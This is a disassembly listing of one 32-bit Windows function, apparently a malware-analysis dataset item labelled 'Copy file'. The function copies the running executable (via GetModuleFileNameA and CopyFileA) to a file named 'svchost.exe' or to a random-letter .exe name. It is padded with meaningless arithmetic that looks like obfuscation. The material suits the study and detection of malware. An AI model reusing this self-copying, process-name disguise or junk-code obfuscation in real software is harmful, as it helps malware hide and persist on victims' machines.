Function at 0x407c60
Capabilities:
Copy file

Disassembly:
sub esp, 0xb08
mov eax, dword [0x442230]
mov ecx, dword [0x4410bc]
mov dword [esp + 0xb04], eax
mov eax, 0x61f4f3e1
imul ecx
mov ecx, dword [0x4410b8]
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
push esi
mov esi, eax
mov eax, 0xa0c15
cdq
idiv ecx
push edi
mov edi, eax
mov eax, 0x1984ece9
imul ecx
sar edx, 0x10
sub edi, esi
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add ecx, edi
mov dword [str._r_____r____], ecx
mov ecx, dword [esp + 0xb14]
mov eax, ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x407cc4
sub eax, esi
cmp byte [eax + ecx - 1], 0x5c
je 0x407d00
mov eax, ecx
lea esi, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x407ce0
sub eax, esi
cmp byte [eax + ecx - 1], 0x2f
je 0x407d00
mov edx, dword [esp + 0xb18]
push edx
push ecx
push str._s_s
jmp 0x407d0e
mov edx, dword [esp + 0xb18]
push edx
push ecx
push 0x435f1c
lea eax, [esp + 0x418]
push eax
call fcn.00419fad
mov ecx, dword [0x4410d0]
mov esi, dword [0x4410b4]
mov eax, 0x3307af59
imul esi, esi, 0x53a0f
imul ecx
sar edx, 0x11
mov ecx, edx
add esi, edx
mov edx, dword [0x4410b8]
imul edx, edx, 0xff4b
shr ecx, 0x1f
add esp, 0x10
add ecx, esi
sub ecx, edx
lea eax, [esp + 0x60c]
push eax
push 0
mov dword [0x4410b4], ecx
lea ecx, [esp + 0x914]
push ecx
lea edx, [esp + 0x218]
push edx
lea eax, [esp + 0x41c]
push eax
push 0
call fcn.00407a00
add esp, 0x18
test eax, eax
jl 0x408175
mov ecx, dword [0x4410c8]
mov esi, dword [0x4410b8]
mov eax, 0x61f4f3e1
imul esi, esi, 0xd454
imul ecx
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4410c0]
imul edx, edx, 0xa081a
sub esi, ecx
sub esi, edx
lea eax, [esp + 0x20c]
mov dword [0x4410b8], esi
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407dd0
sub eax, edx
mov dword [esp + 8], eax
je 0x408175
lea eax, [esp + 0x20c]
push 0
push eax
call fcn.0041a1d4
add esp, 8
cmp eax, 0xffffffff
je 0x408175
mov ecx, dword [0x4410d0]
mov esi, dword [0x4410c4]
mov eax, 0xccf850a7
imul esi, esi, 0x3bf27
imul ecx
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x181cd
sub ecx, esi
add ecx, edx
mov dword [0x4410bc], ecx
xor eax, eax
lea esp, [esp]
mov cl, byte [esp + eax + 0x20c]
mov byte [esp + eax + 0xc], cl
inc eax
test cl, cl
jne 0x407e40
lea eax, [esp + 0xc]
push 0x5c
push eax
call fcn.0041a530
mov esi, dword [0x4410b4]
mov ecx, eax
mov eax, 0x88a76c3f
imul esi
add edx, esi
sar edx, 0x11
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [0x4410cc]
mov eax, 0x197ad0b7
imul edx
sar edx, 0x10
add esi, edx
mov edi, edx
mov edx, dword [str._r_____r____]
mov eax, 0x3307af59
imul edx
sar edx, 0x11
shr edi, 0x1f
mov eax, edx
shr eax, 0x1f
add edi, esi
add eax, edx
sub edi, eax
add esp, 8
test ecx, ecx
mov dword [0x4410c0], edi
jne 0x407ecf
lea ecx, [esp + 0xc]
push 0x2f
push ecx
call fcn.0041a530
mov ecx, eax
add esp, 8
test ecx, ecx
je 0x408175
mov esi, dword [0x4410d0]
mov eax, 0x61f4f3e1
imul esi
sar edx, 0x11
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, dword [0x4410bc]
mov eax, 0x3307af59
imul edx
sar edx, 0x11
push ebx
add edi, edx
mov ebx, edx
mov eax, 0x1984ece9
imul esi
sar edx, 0x10
shr ebx, 0x1f
mov eax, edx
add ebx, edi
mov edi, dword [sym.imp.KERNEL32.dll_CopyFileA]
shr eax, 0x1f
add ebx, edx
mov edx, dword [str.svchost.exe]
add eax, ebx
mov dword [0x4410c4], eax
inc ecx
mov dword [ecx], edx
mov eax, dword [0x435f14]
mov dword [ecx + 4], eax
mov edx, dword [0x435f18]
push 1
lea eax, [esp + 0x14]
mov dword [ecx + 8], edx
push eax
lea ecx, [esp + 0x218]
push ecx
call edi
test eax, eax
jne 0x407f7b
push eax
lea edx, [esp + 0x14]
push edx
call fcn.0041a1d4
add esp, 8
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
pop ebx
pop edi
pop esi
mov eax, ecx
mov ecx, dword [esp + 0xb04]
call fcn.00419f5d
add esp, 0xb08
ret
mov ecx, dword [0x4410b4]
mov eax, 0x88a76c3f
imul ecx
add edx, ecx
mov ecx, dword [0x4410c0]
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x61f4f3e1
imul ecx
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov ebx, ecx
mov ecx, dword [0x4410d4]
mov eax, 0x402d6015
imul ecx
sar edx, 0xe
mov eax, edx
push 0x104
sub ebx, esi
lea ecx, [esp + 0x714]
shr eax, 0x1f
add ebx, edx
push ecx
add eax, ebx
push 0
mov dword [0x4410c8], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor eax, eax
jmp 0x407ff0
mov cl, byte [esp + eax + 0x210]
mov byte [esp + eax + 0x10], cl
inc eax
test cl, cl
jne 0x407ff0
mov ecx, dword [str._r_____r____]
mov eax, 0x197ad0b7
imul ecx
mov ecx, dword [0x4410cc]
sar edx, 0x10
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, ecx
imul edx, edx, 0xa0887
add esi, edx
mov eax, 0x40499437
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
mov dword [0x4410cc], eax
lea eax, [esp + 0x10]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408046
sub eax, edx
push str..exe
push 0
mov esi, eax
call fcn.0041a4ea
cdq
mov ecx, 0x1a
idiv ecx
add esp, 4
add edx, 0x61
push edx
lea edx, [esp + esi + 0x14]
push str._c_s
push edx
call fcn.00419fad
add esp, 0x10
push 0
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x718]
push ecx
call edi
test eax, eax
je 0x40815d
mov ecx, dword [0x4410c8]
mov eax, 0x3307af59
imul ecx
imul ecx, ecx, 0xff4b
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4410c4]
mov esi, eax
mov eax, 0x1984ece9
imul edx
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
sub esi, ecx
lea ecx, [esp + 0x610]
push ecx
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x918]
push eax
lea ecx, [esp + 0x21c]
push ecx
lea edx, [esp + 0x420]
push edx
push 0
mov dword [0x4410d0], esi
call fcn.00407a00
add esp, 0x18
test eax, eax
jl 0x408125
pop ebx
pop edi
mov eax, 1
pop esi
mov ecx, dword [esp + 0xb04]
call fcn.00419f5d
add esp, 0xb08
ret
mov esi, dword [0x4410c0]
mov eax, dword [0x4410bc]
imul esi, esi, 0x53a0f
mov ecx, dword [0x4410b4]
imul eax, eax, 0xa0c15
sub esi, eax
mov eax, 0x3307af59
imul ecx
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add esi, edx
add ecx, esi
mov dword [0x4410d4], ecx
pop ebx
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0xb04]
call fcn.00419f5d
add esp, 0xb08
ret
mov ecx, dword [esp + 0xb0c]
pop edi
xor eax, eax
pop esi
call fcn.00419f5d
add esp, 0xb08
ret